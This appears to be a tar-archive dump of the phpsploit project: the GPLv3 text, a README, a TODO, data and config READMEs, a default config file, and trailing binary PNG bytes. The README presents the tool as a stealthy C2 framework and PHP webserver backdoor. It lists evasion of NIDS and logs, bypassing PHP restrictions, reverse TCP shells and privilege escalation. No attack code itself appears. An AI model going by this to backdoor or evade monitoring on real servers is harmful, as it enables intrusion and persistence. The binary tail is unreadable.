"This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . phpsploit-3.2+git20240329.aea961d/README.md000066400000000000000000000221421460155776400174350ustar00rootroot00000000000000

Master

Full-featured C2 framework which silently persists on
webserver via polymorphic PHP oneliner tweet


Unit Tests workflow Dependabot status codacy code quality CodeQL workflow codecov coverage codeclimate maintainability

Created by nil0x42 and contributors

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

#### Overview The obfuscated communication is accomplished using HTTP headers under standard client requests and web server's relative responses, tunneled through a tiny **polymorphic backdoor**: ```php ``` * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * #### Quick Start ```sh git clone https://github.com/nil0x42/phpsploit cd phpsploit/ pip3 install -r requirements.txt ./phpsploit --interactive --eval "help help" ``` * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * #### Features - **Efficient**: More than 20 plugins to automate privilege-escalation tasks - Run commands and browse filesystem, bypassing PHP security restrictions - Upload/Download files between client and target - Edit remote files through local text editor - Run SQL console on target system - Spawn reverse TCP shells - **Stealth**: The framework is made by paranoids, for paranoids - Nearly invisible by log analysis and NIDS signature detection - Safe-mode and common _PHP security restrictions bypass_ - Communications are hidden in HTTP Headers - Loaded payloads are obfuscated to _bypass NIDS_ - http/https/socks4/socks5 **Proxy support** - **Convenient**: A robust interface with many crucial features - Detailed help for any option (`help` command) - _Cross-platform_ on both client and server. - CLI supports auto-completion & multi-command - Session saving/loading feature & persistent history - Multi-request support for large payloads (such as uploads) - Provides a powerful, highly configurable settings engine - Each setting, such as user-agent has a _polymorphic mode_ - Customisable environment variables for plugin interaction - Provides a complete plugin development API * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * #### Supported platforms (as attacker): - GNU/Linux - Mac OS X #### Supported platforms (as target): - GNU/Linux - BSD-like - Mac OS X - Windows NT ## Contributors Thanks goes to these wonderful people:

nil0x42
đŸ’ģ 🚇 🔌 ⚠ī¸
shiney-wh
đŸ’ģ 🔌
Wannes Rombouts
đŸ’ģ 🚧
Amine Ben Asker
đŸ’ģ 🚧
jose nazario
📖 🐛
Sujit Ghosal
📝
Zerdoumi
🐛

tristandostaler
🐛
Rohan Tarai
🐛
Jonas Lejon
📝
This project follows the [all-contributors](https://github.com/all-contributors/all-contributors) specification. Contributions of any kind welcome phpsploit-3.2+git20240329.aea961d/TODO000066400000000000000000000016421460155776400166500ustar00rootroot00000000000000Repository: * n/a Documentation: * Simplify the manpage to summarize only commands and how to get started Core: * Add a way to get return code of previous command (like bash's '$?') * Provide bzip2 payload encoding (php >= 4.0.4, with bzcompress()) We need smaller payloads ! Interface: * BUG: changing terminal size (SIGWINCH) makes readline prompt buggy on muliline commands. Sessions: * n/a Settings: * n/a Commands: * Implement HTTPs response display in `corectl display-http-requests` command Plugins: * Write a "plugins/network/scan/plugin.py" small ip scanner, to be able to progressively gain access on controlled server's internal network. * `suirdoot`: handle backward compatibility with previous version, by using old behavior when 'SUIDROOT_PIPE' environment variable if defined. Network Stealth: * Write a stealth module which use other target on each command (with 404) phpsploit-3.2+git20240329.aea961d/data/000077500000000000000000000000001460155776400170665ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/data/README000066400000000000000000000021301460155776400177420ustar00rootroot00000000000000#This readme contains a brief description of each file on that directory. ./user_agents.lst ====================== This file contains a list (one per line) of common browser user agents. It is defaultly used as HTTP_USER_AGENT setting, as a file object because file objects (aka file://PATH), when used as HTTP_* settings (http headers) will randomly pick-up a line from these files. ./logo.ascii ============ This file contains the ascii art string used as logo by the PhpSploit framework interface at start. ./intro.msg =========== It contains the introduction message, written right below the ascii logo. ./quotes.lst ============== This useless file contains a list of quotes, randomly picked-up and printed on framework start/end, just for fun! ./config/ ========= This directory contains all the default files that are created on empty user configuration creation. ./img/ ====== This directory contains miscelaneous images for demos. ./tunnel/ ========= This directory contains php codes used by the phpsploit core for the payload builder. phpsploit-3.2+git20240329.aea961d/data/config/000077500000000000000000000000001460155776400203335ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/data/config/README000066400000000000000000000027771460155776400212300ustar00rootroot00000000000000# PhpSploit framework's user configuration directory ---------------------------------------------------- ./config file ============= The ./config file is automatically sourced at framework initialisation, and is the correct way to configure special behaviors at start, such as defining custom values for settings. The ./config file is interpreted line by line, as if each line had been typed in the framework interface. For example, is you want to overwrite the PASSKEY setting's default value, just add the following line to the configuration file: > set PASSKEY "myPassKey" ./plugins directory =================== This directory must be used for user specific plugins. It works exactly the same way as phpsploit's plugins directory. * Structure convention: First level directories are considered as category names, while their childs (second level directories) are the plugin names. Each plugin contains at least a 'plugin.py' file. --------------------------- plugins/ +-- file_system/ +-- shred/ | +-- plugin.py | +-- payload.php +-- top/ | +-- plugin.py | +-- payload.php +-- personnal/ +-- sendBot/ | +-- plugin.py | +-- payload.php +-- testing/ +-- netscan | +-- plugin.py | +-- payload.php --------------------------- In the plugins tree below, two personnal plugins have been added in the file system category (which is standard), while both `personnal` and `testing` categories contains one new plugin each. phpsploit-3.2+git20240329.aea961d/data/config/config000066400000000000000000000016431460155776400215270ustar00rootroot00000000000000# vi: ft=sh # The PhpSploit configuration file can be considered as a source # file which is defaultly sourced at framework initialisation. # # It means that you just have to put the commands as you type them in # the PhpSploit shell interface in order to build your own configuration. # # NOTE: If any command fails, the phpsploit framework will fail to # load this configuration file. ### Those aliases are enabled by default for retrocompatibility ### purposes. Those aliases can be removed without impacting the framework. alias load "session load" alias save "session save" alias lcd "lrun cd" alias lpwd "lrun pwd" alias clear "lrun clear" ### Some configuration examples you may want to add: ## Change the PASSKEY to prevent others phpsploit users from using your backdoor # set PASSKEY "YourPassKey" ## For vim addicts: don't change your habits ! # set EDITOR "vim" # alias vim "edit" phpsploit-3.2+git20240329.aea961d/data/img/000077500000000000000000000000001460155776400176425ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/data/img/demo.png000066400000000000000000003416241460155776400213060ustar00rootroot00000000000000‰PNG  IHDRÄ0æ†|iCCPicc(‘}‘=HÃ@Å_SÅ"U‡vuČPZqÔ*ĄB¨Zu0šô š4$).Ž‚kÁÁÅĒƒ‹ŗŽŽ‚ øâäč¤č"%ū/)´ˆõā¸īî=îŪBŊĖ4ĢkĐtÛL%âb&ģ*öŧ"€a„EŋĖ,cN’’č8žîáãë]Œgu>÷įčSs|"ņ,3L›xƒxzĶ68ī‡YQV‰Ī‰Ŗ&]ø‘ëŠĮoœ . <3lĻSķÄabąĐÆJŗĸŠOGTM§|!ãąĘy‹ŗVŽ˛æ=ų ƒ9}e™ë4GĀ"– A„‚*J(ÃFŒV )ڏwđš~‰\ šJ`äX@d×ūŋģĩō“^R0tŋ8ÎĮ(Đŗ 4jŽķ}ė8Ā˙ \é-ĨĖ|’^ki‘#``¸¸niĘpš >˛)ģ’ŸĻĪīgôMY t ôŽyŊ5÷qú¤ŠĢä ppŒ({ŊÃģíŊũ{ĻŲß‚Ur­Ėĸ!B cHRMz&€„ú€ču0ę`:˜pœēQ<bKGD˙˙˙ Ŋ§“ pHYs  šœÁzTXtRaw profile type icc8ĨS[Ž! üį9‚ņŗ9N4Rî ķÚŲH›XBˆ2ļËĻHŋkMŋ†Ša‚ax‚V%mFĀ4!mz ˛1"Č!EN°‹Ũ}ä›/ŋŒÕĪWŌŦddĀY@€+üƒu¯:å 4ÂvgöCK?ŧߔUŒ4 e\0CōÆĀĐ8ē¤f>!Øx9Īė|ĮÂĪ5 ŦÉĮ9ĮŽöxÁ¯zĮí ߄‰Ø_&¨bæU<ā3ūÍũ4¨j‹3mû,\Ģg÷‚ķÆmˇÆÉájĸī¯´_˛Ēč%"´–Ûø‹/'!ãÕFŖ:”&žģCũŌ2ļužâΐ„āJ€īŌßäķÁ@`Ã(6‹PaöDÚĮ‡đ• āņ%žl(ŪėšR"ÂgAf¨‘ŌŽ>ŒPæŲĘdØ[‰ßÎ<÷ļ*QĢ3QuŸhÎč葐ĘGĻČĨŖ~Ė׸iå ąØôÛ1÷|44ģlîmŽD{ō¨n3/žC2)d§Ü^tF;œÔf pŒkK)įĒ‰ģÔītˇ‡ũöė°˙ÜáũGĸW!Ļ?Ÿ^ ‚úF˛€€IDATxÚėŨy|TåĄ˙ņī$PvŖP–‚,jA´ *DD° û*Aļ411Á­ūh/\7¤P­ˆ˛†BėĸŨˇkoīíŊ3Ų!!,!ŗĄ(ԍ{{›ßgÎÉ$™™Ėšøüņ~Õ&99˜3d>ķĖsT]]-ęâ Č2€€ Č2€€ Č2€€ @@d@@d@@d2€€ Č2€€ Č2€€ Ȑd@@d@@d@@92€€ Č2€€ Č2€€ Ȑd@@d@@d@@€€ Črŗ:Ōc˛Ųr•Üâ %ˇü˛–_ûR-Z~Šä–_ÔņyøZ|XË0´ø{}-c“Ô✒,ŠÅY€‹^r#t–X[PāžN— ŦED]ėsĩøZM[kŅōKKí÷•lļ?()i Ŋ’€ÜœÂņhŲ’N))Ų  9hqZJÚ@ŋ$ 7u<Ąä䏚 €fį´’’ž§c›îāŲ’*š€f‘ĨtZ&š F'=Æ4s˛}@Ī$ 7ÁčcÛ\€@3gK*Ļg˙Āĩhų% Đė}DĪ$ 7A@ū āĀ%ˇü‚‹ A@Čd„?įâČd2d€€ 2 ƒ€L@Č  ČM[|ÆŐ Č d2ČäØæ@nŧ€ÜŽÃgęÜĩZģVĢ]‡ÄŽ7šÅiĩšâKĩëV­ŨĒÕ˛ŨŲ„ŽĪ–ėũšÚ~ÚA)_ļVûs6ĩ8͓ČdrШšäQĘå_%Ë暐¤cs’TüxKũ÷ʖúīy-Tr¯M_“œēüŠķ˛%yⲞËēUwšLΙÃT•6V'˙užN<=]'ŒTå¸rę˛N˙ŖVū¯}LQĮķęŨŌĢ1­<šŅÖ­å흚×ÖĨąm<ēžĨņ}ņ2™€\Û_¯ždSé/[égÚëā§í•ûŋíĩī;hßšĘũ¤Ŋūļĩū0ŨĻR]ŅŠ:–ˆlŗÉ%u­^q¯NūíE•}öŽ ?{W˙ˇ_į÷¨āīī¨āô[*ūÅSĒ¸í:UIŨĒcÚˇ–ÉŪÎęZ­Œvmīr\?ī^Ļ_t?ĸ_÷8ĸ÷ģŅĪē—iw×czĻŊ[ZzeãIdō…7ōßrBˇíđ÷u-õߎvz¯:EģĒ/Ķî všÛ)ī•–ú›.ŋâ|ôëėVũÁ3:ú÷*Ŧū‰ÕšA”ũÔ•<8N•jsųQ­KžxŧåŠJũ˛ĮũöĘŌ ~weŠvt:ĄkZz“õĩyĸ@T’[ ČA@ļ%ytÅ×Ģ×ĩÔŪ^šÕ—…ŒĮVDūŧŊrÔRĶ_l$˛Íæ–ēVzBG˙wŸōCÆcĶOäøxģŠŸšĸ“R×ČF"''{ue˛W›;žĐīz”†ŒĮūyw—cĶŌĶB­Īđ„2ųB™Â"ž9åō¯&IĨŽvz/ĖxlEdo;Ŋ7-IĨęAÔĩuĢ~t˛N|öŽ  Įu"rųF•Ūv­Ē"ŲŋÎęZ­G.ĢŌ¯Ž<V<öˇūŠ“úz žė@@& _š9Irū˛•ūØĀ´Áŧû§VúŊl6W˜ÍéV­å<ūšW”=ĸ€ėķãīęX¸#ž“õĩuuKŪëzLŋëUq@ūe2ŨÛÆŨJíÎō¤2ų’ Čl:vĻŊFwW_ĻŨg;čā›ĘÃZ_Ë6Ÿüđ~UūĪ^åGĢsåpžĄRÉæ{ôņ‹\úMČãąikĮSÕĨš'= ȗV@n×áŗ9I*>gĖ}U@ūŧƒö/nĄ"ĩnÛđ(]›\/? ãŅÆãę\9\?Vņ-}UĨV—}ÖđEšėÕ WTéW–De‰ļv:Ąv-ŧOz /Ĩ€Üškõã-õß˙Û^ûĸ Č˙č }˙ŌRSį.˙lh}­ZČuč % šK…sGĒRíē5<*¸K ¯ŪętRŋ‹2 ˙ŽWŠv=Ļë[z’õĩy♀ÜĖr‹sņ Č+[ęŋ˙ˇC šŊöŽūšū΍ôZĩ+oelųĢ]*œn@îÚÂĢm1äC]é[d 